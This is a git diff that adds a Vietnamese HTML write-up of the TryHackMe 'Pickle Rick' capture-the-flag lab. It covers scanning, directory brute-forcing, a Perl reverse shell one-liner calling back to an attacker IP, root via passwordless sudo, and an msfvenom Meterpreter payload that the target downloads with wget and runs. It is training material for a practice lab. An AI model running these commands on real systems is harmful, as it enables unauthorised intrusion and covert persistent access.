diff --git a/Tryhackme/Khai thác Pickle Rick .htm b/Tryhackme/Khai thác Pickle Rick .htm new file mode 100644 index 0000000..3373426 --- /dev/null +++ b/Tryhackme/Khai thác Pickle Rick .htm @@ -0,0 +1,3026 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Server +khai thác:

+ +

https://tryhackme.com/room/picklerick

+ +

Thực +hiện start machine để lấy địa chỉ ip của +mục tiêu cần khai thác:

+ +

+ +

Ping +kiểm tra máy Kali có đang cùng mạng với Mục tiêu +hay ko:

+ +

+ +

Thực +hiện scan các port TCP:

+ +

nmap -vv -Pn -T4 -sC -sV -O -p- 10.10.176.127

+ +

+ +

+ +

Thực hiện việc scan các +port UDP

+ +

nmap -vv -Pn -T4 -sU -sV 10.10.176.127

+ +

+ +

Dựa +trên kết quả quét các port TCP và phiên bản như trên, có +thể thấy Server đang mở 2 port 22 và 80. Trong đó +port 22 là service SSH với phiên bản OpenSSH 7.2p2.

+ +

Thử +truy cập bằng ssh đên server -> nhưng thất bại

+ +

+ +

Tìm +lỗi liên quan đến phiên bản của SSH này

+ +

+ +

Dựa +vào kết quả tìm kiếm, rất có thể Server dính lỗ +hỏng “Usename Enumeration”. Thông qua tìm hiểu thì lỗi này +thường chạy rất mất thời gian để +tìm ra username cho SSH, sau đó lại còn phải brute force tìm +password cho tài khoản đó mà chưa chắc sẽ tìm ra +được -> tạm thời bỏ qua.

+ +

Chuyển +đến tiếp theo sẽ là port 80. Tiến hành truy cập +trang web theo địa chỉ của Server, tìm source:

+ +

+ +

Và +src của nó sẽ là:

+ +

 

+ +

 

+ +

 

+ +

+ + + + + + + + + +
+ + + + +
+
+

<!DOCTYPE html>

+

<html lang="en">

+

<head>

+

  + <title>Rick is sup4r cool</title>

+

  + <meta charset="utf-8">

+

  + <meta name="viewport" content="width=device-width, + initial-scale=1">

+

  + <link rel="stylesheet" + href="assets/bootstrap.min.css">

+

  + <script src="assets/jquery.min.js"></script>

+

  + <script + src="assets/bootstrap.min.js"></script>

+

  + <style>

+

  + .jumbotron {

+

    + background-image: url("assets/rickandmorty.jpeg");

+

    + background-size: cover;

+

    + height: 340px;

+

  }

+

  + </style>

+

</head>

+

<body>

+

  + <div class="container">

+

    + <div class="jumbotron"></div>

+

    + <h1>Help Morty!</h1></br>

+

    + <p>Listen Morty... I need your help, I've turned myself into a + pickle again and this time I can't change back!</p></br>

+

    + <p>I need you to <b>*BURRRP*</b>....Morty, logon + to my computer and find the last three secret ingredients to finish my + pickle-reverse potion. The only problem is,

+

    + I have no idea what the <b>*BURRRRRRRRP*</b>, password + was! Help Morty, Help!</p></br>

+

  + </div>

+

  <!--

+

    Note to self, + remember username!

+

    Username: + R1ckRul3s

+

  -->

+

</body>

+

</html>

+
+
+
 
+ +
 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +

 

+ +
+ +

Phần +màu xanh lá ở trên là comment trên front end code, đây có thể +là user dùng để đăng nhập lên chính trang web hoặc +là dùng đăng nhập SSH. Nhưng tạm thời thì cứ +để đây và tiếp tục tìm kiếm các thông tin +khác như các dir ẩn.

+ +

Thực +hiên chạy lệnh:

+ +

gobuster dir -w common-web-content.txt -u 10.10.176.127 -t 25 -x +txt,php,py,sh

+ +

·       gobuster: tên lệnh

+ +

·       dir: chế độ tìm file ẩn

+ +

·       -u: url của server nạn nhân

+ +

·       -w: tên wordlist cần dùng

+ +

·       -x: những extension muốn tìm (thường với +website linux sẽ là txt, php, php5, py, rb, pl, sh)

+ +

·       -t: số threads chạy trong 1 giây

+ +

+ +

Có +thể nhận thấy 2 đường dẫn trả về +status 200. Tiến hành truy cập 2 trang này.

+ +

Với +url đầu tiên:

+ +

+ +

Đây +có thể là password cho username vừa tìm được hồi +nảy.

+ +

Với +cái thứ 2, chúng ta được một nơi như là +chỗ để đăng nhập:

+ +

+ +

Đăng +nhập thành công thì được một nơi như thế +này:

+ +

+ +

Đến +đây thì test thử một cài câu lệnh xem cái Command Panel +này hoạt động như thế nào.

+ +

+ +

+ +

TIP QUAN TRỌNG:

+ +

Thông +thường, chúng ta có thể sử dụng trình điều +khiển này để pentest tiếp, nhưng lúc này lại +có một vấn đề như thế này. Để có +thể truy cập vào được trình điều khiển +server bằng dòng lệnh này, chúng ta cần phải +đăng nhập thành công vào admin dashboard, vậy điều +gì sẽ xảy ra nếu như password và username bị thay +đổi? Khả năng cao là chúng ta sẽ không thể +truy cập vào trình điều khiển này được nữa +và phải tìm một lỗi khai thác khác.

+ +

Để +tránh trường hợp trên xảy ra, chúng ta sẽ thiết +lập một TCP reverse shell. Hay có thể giải thích +đơn giản rằng chúng ta sẽ thiết lập một +kết nối TCP từ máy nạn nhân đến máy của +pentester và chúng ta sẽ điều khiển máy nạn nhân +thông qua kết nối TCP đó. Như vậy, chúng ta không cần +phải lo lắng chuyện mất quyền truy cập vào +trình điểu khiển nữa.

+ +

Kiểm +tra trên server có đang chạy bash, perl, python, ruby gì không?

+ +

+ +

Chúng +ta đã xác định được server có chạy những +loại nào, tiếp theo sẽ tạo một Reverse shell bằng +những câu lệnh như link sau.( Hoặc link +này).

+ +

Trước +đó cần phải xác định IP mà máy pentester đã +dùng VPN tới, đồng thời là một port để +nhận tín hiệu gửi về. Phần IP thì có sẳn, +kiểm tra xem một port nào đó có đang được +mở dùng trên máy dùng câu lệnh nmap, telnet, cat /etc/services.

+ +

Chúng +ta sẽ mượn port 8888 để nhận kết nối +chỏ về từ máy server. Cách mở port trên máy kali: nc +-nlvp 8888

+ +

·       +n: Mang ý +nghĩa chúng ta sẽ chỉ dùng IPv4 address, không dùng domain

+ +

·       +-l: Chế +độ lắng nghe

+ +

·       +-v: Verbose – +Cho biết quá trình lắng nghe đang diễn ra thế nào

+ +

·       +-p: Chỉ +định port để lắng nghe

+ +

Tiếp +theo sử dụng những câu lệnh để excute từ +trên server, trong trường hợp này là:

+ +

perl -e 'use Socket;$i="10.4.43.108";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh +-i");};'

+ +

CHÚ Ý: lúc làm lab tới đây thì tắt đi nghỉ, +nên địa chỉ server của tryhackmy sẽ thay đổi +khi bật lên làm tiếp:

+ +

-        +IP server: 10.10.105.178

+ +

-        +IP của máy kali: 10.4.43.108

+ +

Sau khi excute câu lệnh trên +web cùng với thực hiện lắng nghe trên máy kali, kết +quả nhận được:

+ +

+ +

Tìm key thứ nhất:

+ +

Sau +khi có kết nối rồi, dùng lệnh kiểm tra các tập +tin/ thư mục đang hiện hành nên dùng lệnh “ls -la”

+ +

+ +

Có +một file dạng txt khả nghi, đọc file đó => +key1: mr. meeseek hair

+ +

Tìm key thứ 2

+ +

Đầu +tiên di chuyển ra thư mục root và liệt kê ra các +file/dir hiện hành:

+ +

+ +

Kiến +thức thu lụm được:

+ +

Ở +thời điểm này, chỉ cần chú ý đến 3 +directories đó là

+ +

·       +home: +Nơi chứa những directories của những người +dùng thông thường. Những người dùng thông thường +sẽ được phép truy cập vào directory home này, +nhưng không được phép thay đổi những +directories (ví dụ như thêm hoặc xóa) được chứa +bên trong directory home.

+ +

·       +root: +Directory của root hay admin, người có quyền quản +trị cao nhất và chỉ có root/admin mới được +quyền truy cập vào đây.

+ +

·       +tmp: đây +là directory thường được dùng để lưu +trữ những dữ liệu tạm thời, và được +cấp quyền truy cập, sửa đổi và thực +thi cho tất cả người dùng hệ thống (cả +root lẫn người dùng thường). Vì lẽ, directory +này rất hay bị lợi dụng làm nơi chuyển dữ +liệu hoặc mã độc giữa máy hacker và máy nạn +nhân. Cũng như hacker có thể chạy file mã độc +ngay tại directory tmp để tấn công hệ thống.

+ +

Di +chuyển vào thư mục home, liệt kê các user:

+ +

+ +

Kết +quả trả về là có 2 người dùng bình thường +là rick và ubuntu, và chúng ta có quyền truy cập vào cả 2 +directories này. Thế tại sao account www-data lại không có ở +đây? Vì account www-data là account mặc định được +hệ thống webserver (ví dụ như Apache hoặc Nginx, +v.v.) sử dụng cho các tác vụ thường ngày. Đây +là một account bình thường và không có quyền hạn +gì đặc biệt.

+ +

Vào +trong user rick để tìm key thứ 2

+ +

+ +

Tìm key thứ 3

+ +

Lúc +này chuyển qua user còn lại trong thư mục home để +tìm. Ở đây chúng ta có 2 file để chú ý là +.sudo_as_admin_successful và .ssh. Nhưng .sudo_as_admin_successful có số +byte dữ liệu bằng 0 nên đây là một file trống. +Còn directory .ssh không cho chúng ta quyền truy cập. Có thể +thử cd đến .ssh sẽ nhận được báo lỗi +sau

+ +

+ +

Do +đó cần phải leo thang đặc quyền để +có thể truy cập được trong dir này. Privileges +escalation là một lĩnh vực khá rộng và có vô số +cách cũng như kỹ thuật để thực hiện. +Trong đó có 2 cách phổ biến nhất đó là sử dụng:

+ +

·       +Kernal +exploit: Nghĩa là lợi dụng những lỗ hổng bảo +mật nằm trong nhân Linux hoặc hệ điều hành +Ubuntu để tiến hành nâng quyền quản trị.

+ +

·       +Sudo rights: +Lợi dụng các công cụ được cấp quyền +sử dụng để nâng quyền quản trị.

+ +

Đầu +tiên bắt đầu với Kernal exploit, cần phải +thu thập thông tin liên quan đến OS, kernel như sau:

+ +

+ +

+ +

Kết +hợp các điều trên có nghĩa là chúng ta cần tìm một +phần mềm khai thác lỗi cho phép nâng cấp quyền quản +trị trên Ubuntu 16.04.5 LTS hoặc Kernel 4.4.0-1072-aws được +viết bằng Bash, Perl, C hoặc có đuôi .elf (file thực +thi trên Linux).

+ +

Tiến +hành tìm lỗi những không mấy khả quan

+ +

+ +

Kết +quả không mấy khả quan nên sẽ chuyển qua cách +nâng cấp đặc quyền thứ 2 là sudo right.

+ +

Kiến +thức:  tất cả mọi thứ từ +thiết bị, công cụ, câu lệnh, interface, ip address, +port, v.v trên Linux đều là một file. Do đó, việc bạn +có thể sử dụng một công cụ ví dụ Perl hay một +dòng lệnh ví dụ ls được hay không phụ thuộc +hoàn toàn vào việc bạn có quyền tiếp cận, và thực +thi với file Perl hoặc file ls hay không. Mỗi account trong hệ +thống Linux thường sẽ được cấp +phép sử dụng một số công cụ hoặc câu lệnh +để thực hiện công việc của họ. Và các +công cụ hoặc câu lệnh này nếu không được +quản trị kỹ, chúng hoàn toàn có thể bị lợi +dụng để nâng cấp lên quyền quản trị +cao hơn, hoặc thậm chí là quyền quản trị +root.

+ +

Do +đó, cần kiểm tra quyền của account hiện tại:

+ +

+ +

Dựa +vào kết quả trên chúng ta có thể thấy, account của +chúng ta có quyền sử dụng bất kỳ công cụ và +câu lệnh nào đang có trên server Pickle Rick mà không cần phải +cung cấp password của account hiện tại hoặc +password của account root.

+ +

Do +không yêu cầu về password nên sử dụng câu lệnh +“sudo su” để nâng cấp đặc quyền lên root +luôn.

+ +

+ +

Lúc +này xem như đã nắm được toàn bộ Server, +do đó nên đi vòng vòng kiếm flag cho thử thách thứ +3 thui, kết quả nhận được sẽ là:

+ +

+ +

ð Giải được toàn bộ flag của +Pickle Rick

+ +

--------------------------------------------------------------------------------------------------------------------------------------------ĐÂY +LÀ PHẦN KIẾN THỨC LIÊN QUAN NHƯNG NÂNG CAO +HƠN------------

+ +

---------------------------------------------------------------------------------------------------------------------

+ +

Trong +CTF, sau khi hoàn thành phần 3 bên trên là đã có thể coi +như đã chiến thắng. Nhưng khi đi làm pentest, sẽ +có khác biệt một tí. Khác biệt đó nằm ở chỗ +kết nối TCP reverse shell đang dùng vẫn chưa phải +là một kết nối bền vững và có thể bị +can thiệp bất cứ lúc nào do kết nối trên có thể +bị phát hiện bởi Task Manager. Chưa kể +đường truyền TCP reverse shell không được +mã hóa, dễ dẫn đến tình trạng lộ thông tin +nhạy cảm của cả pentester lẫn nạn nhân.

+ +

Để +phòng tránh việc đó, chúng ta sẽ nâng cấp đường +truyền từ TCP reverse shell thành Meterpreter shell. Ưu +điểm của Meterpreter shell so với TCP reverse shell +như sau:

+ +

·       +Meterpreter sử +dụng in-memory DLL injection, nghĩa là nó sẽ chỉ ghi dữ +liệu trên RAM mà thôi, và không ghi gì vào ổ cứng cả, +do đó hạn chế việc để lại dấu vết.

+ +

·       +Kết nối +meterpreter không tạo ra process mới mà sẽ tự inject nó +vào process đã bị tấn công khiến nó gần như +vô hình trước các chương trình như Task Manager trên +Windows. Khi process bị meterpreter tấn công bị kill, +meterpreter sẽ tự động nhảy sang một process +khác để duy trì kết nối.

+ +

·       +Kết nối +meterpreter được mã hóa.

+ +

·       +Do +meterpreter là một tính năng của Metasploit, sử dụng +meterpreter cho phép pentester sử dụng luôn các module post-exploitation +ví dụ như keyblogger, cổng hậu, v.v. có sẵn trên +Metasploit để tấn công sâu hơn vào hệ thống của +nạn nhân.

+ +

Chúng +ta sẽ bắt đầu nâng cấp đường truyền +từ TCP reverse shell thành Meterpreter shell.

+ +

Sử +dụng câu lệnh sau để tạo ra một file meterpreter

+ +

msfvenom +-p linux/x86/meterpreter/reverse_tcp LHOST=10.4.43.108 LPORT=9999 -f elf -o +shell.elf

+ +

Trong +đó:

+ +

·       +msfvenom: Tên câu lệnh

+ +

·       +-p +linux/x86/meterpreter/reverse_tcp: Dạng payload hay dạng kết +nối sẽ sử dụng

+ +

·       +LHOST và +LPORT: Địa chỉ IP và +port dùng để nhận shell trên máy Kali của hacker

+ +

·       +-f: Format của dữ liệu đầu ra. Ở +đây chọn elf là extension file thực thi của Linux.

+ +

·       +-o: Xuất ra file có tên là shell.elf

+ +

Tiếp +theo sử dụng câu lệnh

+ +

Python3 -m http.server 8000

+ +

Câu +lệnh trên sử dụng một module của Python có tên là +SimpleHTTPServer để biến directory hiện tại thành +một webserver cho phép trao đổi file tại port 8000 với +địa chỉ IP là IP của hacker. Webserver này có thể +được truy cập bởi tất cả các máy ở +trong cùng mạng.

+ +

+ +

Sử +dụng câu lệnh sau trên server để download

+ +

wget http://10.4.43.108:8000/shell.elf

+ +

+ +

Thực +hiện cấp quyền thực thi trên máy Server và excute file +đó

+ +

+ +

Quay +lại trên máy kali, tiến hành dùng metasploit để nhận +kết nối trỏ về

+ +

msfconsole

+ +

use +exploit/multi/handler

+ +

set +LHOST <IP của bạn>

+ +

set +LPORT <Port đã dùng trong command msfvenom bên trên>

+ +

set +PAYLOAD linux/x86/meterpreter/reverse_tcp

+ +

exploit

+ +

Kết +quả cuối cùng nhận được sẽ là

+ +

+ +
+ + + +